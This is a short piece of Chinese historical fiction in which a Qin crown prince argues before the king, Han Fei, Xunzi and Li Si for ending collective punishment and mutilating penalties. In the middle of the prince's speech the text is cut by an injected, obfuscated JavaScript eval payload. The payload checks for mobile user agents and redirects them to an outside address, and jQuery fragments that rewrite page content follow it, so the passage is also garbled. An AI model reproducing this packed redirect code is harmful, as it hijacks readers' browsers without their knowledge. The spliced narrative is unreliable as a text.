【虚构史学家】


    韩公子非入秦为使，谒秦王与太子。时荀卿、廷尉李斯、弟子浮丘伯在列，乃共议律法。


    浮丘伯直言："秦律过峻，恐伤民本。"


    李斯驳曰："法不严则令不行，此治国之要也。"二人争辩未决。


    太子进言："连坐之法，虽使民畏，然冤死者谁恤？廷尉明律，若罪者亲属不忍举发，此乃人情。今弃灰于道者，黥面服役四年。罪未悔而尊严尽丧，岂非过乎？"


    韩非对曰："黔首犯法，自当受惩。昔商君设此，正为儆效尤。"


    太子质之："此非迫民乎？使父告子，妻举夫，则亲情离散，民风浇薄，国亦急功近利，此诸公所欲见耶？"


    李斯疑："知法不犯，何危之有？若相庇护，律法何为？"


    韩非曰："吾师尝言：性本恶，故需严法束众。"


    荀卿叹："正因性恶，当明礼教，岂独恃刑威？"


    太子复言： "法不通情，反迫黎庶，使刑徒之苦倍于良民，岂有此理？连坐之酷，冤者自证，然非人人能辩，岂皆有铁证？商君立法至今，冤魂几何？"


    遂向王顿首："儿臣请废肉刑连坐，爱惜子民，刑止元凶。存清白，减冤屈，衡罪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401148|168689||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    量罚，毋使我秦民惊惧积怨！"


    秦王默然良久："此等要事，何不独奏？"


    太子对曰："私语则为父子，言易被视为儿戏，不可。今师长同门在列，儿欲以储君身份谏之。且父王素崇法家，纵朝堂奏议，亦必争论不休，徒引猜忌。儿知此事难允，仍愿竭力一试。成否在君，为否在臣。"


    太史公曰："秦法素严，王侧多附议之声，故久未更。太子生长于斯，竟有独见，足见心智之坚。请废连坐，实乃仁民爱物之举！君子幼而有立，长岂失其本心？功德之盛，可期也。"


    ——《秦文皇本纪》